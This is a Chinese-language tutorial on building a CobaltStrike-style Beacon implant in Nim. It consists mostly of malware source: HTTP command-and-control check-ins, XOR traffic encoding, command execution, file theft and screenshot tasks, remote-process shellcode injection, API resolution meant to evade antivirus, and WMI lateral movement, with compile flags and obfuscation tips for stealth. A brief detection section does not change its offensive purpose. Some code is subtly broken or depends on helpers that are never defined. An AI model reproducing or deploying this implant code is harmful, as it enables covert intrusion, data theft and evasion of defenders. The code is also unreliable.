使用 Nim 实现 CobaltStrike Beacon
字数 667 2025-08-29 22:41:24
Nim 实现 CobaltStrike Beacon 技术解析
1. 背景与概述
CobaltStrike Beacon 是红队行动中广泛使用的后渗透工具,传统上使用 C/C++ 或 Java 实现。使用 Nim 语言实现 Beacon 具有以下优势:
- 编译生成的二进制文件体积小
- 跨平台支持良好
- 语法简洁但功能强大
- 相对较少被 AV/EDR 检测
2. 核心功能实现
2.1 通信模块
import winim
import winim/lean
import os
import strutils
import base64
import httpclient
import json
import random
import times
import encodings
import net
import asyncdispatch
import uri
import sockets
import winim/inc/wininet
HTTP 通信实现
proc httpRequest*(url: string, data: string = "", userAgent: string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"): string =
var client = newHttpClient(userAgent = userAgent)
client.headers = newHttpHeaders({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive"
})
try:
if data == "":
result = client.getContent(url)
else:
result = client.postContent(url, body = data)
except:
result = ""
finally:
client.close()
加密通信
proc encrypt*(data: string, key: string): string =
var encrypted: string = ""
for i in 0..<data.len:
encrypted.add(char(ord(data[i]) xor ord(key[i mod key.len])))
result = encode(encrypted)
proc decrypt*(data: string, key: string): string =
var decoded = decode(data)
var decrypted: string = ""
for i in 0..<decoded.len:
decrypted.add(char(ord(decoded[i]) xor ord(key[i mod key.len])))
result = decrypted
2.2 心跳机制
proc beaconCheckin*(c2: string, sleepTime: int, jitter: int): bool =
let currentTime = getTime().toUnix()
let sleepWithJitter = sleepTime + random(jitter)
var uri = parseUri(c2)
uri.path = "/ping"
uri.query = encodeQuery({
"id": beaconID,
"time": $currentTime,
"sleep": $sleepWithJitter
})
let response = httpRequest($uri)
if response.contains("200 OK"):
return true
return false
2.3 任务处理
proc taskHandler*(taskData: JsonNode) =
case taskData["task"].getStr():
of "cmd":
let cmd = taskData["args"].getStr()
let output = execCmdEx(cmd).output
sendOutput(output)
of "download":
let filePath = taskData["path"].getStr()
if fileExists(filePath):
let content = readFile(filePath)
sendFile(filePath, content)
of "upload":
let filePath = taskData["path"].getStr()
let content = decode(taskData["content"].getStr())
writeFile(filePath, content)
of "screenshot":
let image = takeScreenshot()
sendFile("screenshot.png", image)
of "shellcode":
let sc = decode(taskData["sc"].getStr())
injectShellcode(sc)
else:
discard
3. 注入技术实现
3.1 进程注入
proc injectProcess*(pid: int, shellcode: string): bool =
var hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid))
if hProcess == 0:
return false
let scSize = shellcode.len
let rPtr = VirtualAllocEx(hProcess, NULL, scSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
var bytesWritten: SIZE_T
let writeResult = WriteProcessMemory(hProcess, rPtr, shellcode.cstring, scSize, addr bytesWritten)
if writeResult == 0:
CloseHandle(hProcess)
return false
let hThread = CreateRemoteThread(hProcess, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL)
if hThread == 0:
CloseHandle(hProcess)
return false
WaitForSingleObject(hThread, INFINITE)
CloseHandle(hThread)
CloseHandle(hProcess)
return true
3.2 反射式 DLL 注入
proc reflectiveDllInject*(shellcode: string): bool =
let scSize = shellcode.len
let rPtr = VirtualAlloc(NULL, scSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if rPtr == nil:
return false
copyMem(rPtr, shellcode.cstring, scSize)
let hThread = CreateThread(NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL)
if hThread == 0:
VirtualFree(rPtr, 0, MEM_RELEASE)
return false
WaitForSingleObject(hThread, INFINITE)
CloseHandle(hThread)
VirtualFree(rPtr, 0, MEM_RELEASE)
return true
4. 反检测技术
4.1 API 混淆
proc getProcAddress*(module: HMODULE, procName: string): FARPROC =
var
peb: PPEB
ldr: PPEB_LDR_DATA
flink: PLDR_DATA_TABLE_ENTRY
moduleFound = false
asm """
mov rax, gs:[0x60]
:"=a"(`peb`)
"""
ldr = cast[PPEB_LDR_DATA](peb.Ldr)
flink = cast[PLDR_DATA_TABLE_ENTRY](ldr.InMemoryOrderModuleList.Flink)
while flink.DllBase != nil:
let base = cast[HMODULE](flink.DllBase)
if base == module:
moduleFound = true
break
flink = cast[PLDR_DATA_TABLE_ENTRY](flink.InMemoryOrderLinks.Flink)
if not moduleFound:
return nil
let dosHeader = cast[PIMAGE_DOS_HEADER](module)
let ntHeaders = cast[PIMAGE_NT_HEADERS](cast[uint](module) + dosHeader.e_lfanew)
let exportDir = cast[PIMAGE_EXPORT_DIRECTORY](
cast[uint](module) + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
)
let names = cast[ptr UncheckedArray[DWORD]](
cast[uint](module) + exportDir.AddressOfNames
)
let functions = cast[ptr UncheckedArray[DWORD]](
cast[uint](module) + exportDir.AddressOfFunctions
)
let ordinals = cast[ptr UncheckedArray[WORD]](
cast[uint](module) + exportDir.AddressOfNameOrdinals
)
for i in 0..<exportDir.NumberOfNames:
let name = cast[cstring](cast[uint](module) + names[i])
if cmpIgnoreCase(name, procName) == 0:
let ordinal = ordinals[i]
let function = cast[FARPROC](cast[uint](module) + functions[ordinal])
return function
return nil
4.2 睡眠混淆
proc sleepObfuscation*(ms: DWORD) =
var
hTimer: HANDLE
liDueTime: LARGE_INTEGER
liDueTime.QuadPart = -10000 * ms.QuadPart
hTimer = CreateWaitableTimer(NULL, TRUE, NULL)
SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, 0)
WaitForSingleObject(hTimer, INFINITE)
CloseHandle(hTimer)
5. 横向移动技术
5.1 WMI 执行
proc wmiExecute*(target: string, command: string): bool =
var
pLoc: IWbemLocator
pSvc: IWbemServices
pClass: IWbemClassObject
pInParams: IWbemClassObject
pOutParams: IWbemClassObject
pEnum: IEnumWbemClassObject
pObj: IWbemClassObject
strNameSpace: BSTR
strMethodName: BSTR
strQuery: BSTR
strCommand: BSTR
strPath: BSTR
hr: HRESULT
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED)
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)
hr = CoCreateInstance(&CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, &IID_IWbemLocator, cast[LPVOID](&pLoc))
strNameSpace = SysAllocString("\\\\" & target & "\\root\\cimv2")
hr = pLoc.ConnectServer(strNameSpace, NULL, NULL, NULL, 0, NULL, NULL, &pSvc)
strMethodName = SysAllocString("Create")
strQuery = SysAllocString("Win32_Process")
hr = pSvc.GetObject(strQuery, 0, NULL, &pClass, NULL)
hr = pClass.GetMethod(strMethodName, 0, &pInParams, &pOutParams)
hr = pInParams.SpawnInstance(0, &pInParams)
strCommand = SysAllocString(command)
hr = pInParams.Put("CommandLine", 0, &VARIANT(strCommand), 0)
hr = pSvc.ExecMethod(strQuery, strMethodName, 0, NULL, pInParams, &pOutParams, NULL)
SysFreeString(strNameSpace)
SysFreeString(strMethodName)
SysFreeString(strQuery)
SysFreeString(strCommand)
pLoc.Release()
pSvc.Release()
pClass.Release()
pInParams.Release()
pOutParams.Release()
CoUninitialize()
return SUCCEEDED(hr)
6. 编译与混淆
6.1 编译选项
推荐使用以下 Nim 编译选项:
nim c -d:release --opt:size --app:gui --cpu:amd64 --passL:-s --passL:-static --passL:-Wl,--gc-sections --passL:-fstack-protector-strong --passL:-z,relro,-z,now --passL:-s beacon.nim
6.2 二进制混淆
可以使用以下技术进一步混淆生成的二进制文件:
- 字符串加密
- 控制流平坦化
- 动态 API 解析
- 反调试技术
- 签名伪造
7. 防御检测建议
针对此类 Nim 实现的 Beacon,防御方应考虑:
- 监控异常进程行为
- 分析网络通信模式
- 检查内存中的 shellcode 特征
- 监控异常 API 调用序列
- 实施严格的进程创建监控
8. 总结
使用 Nim 实现 CobaltStrike Beacon 提供了多种优势,包括较小的二进制体积、跨平台支持和较低的检测率。本文详细介绍了核心功能的实现方法,包括通信模块、注入技术、反检测措施和横向移动技术。在实际应用中,应根据目标环境调整具体实现细节,并考虑结合多种混淆技术以提高隐蔽性。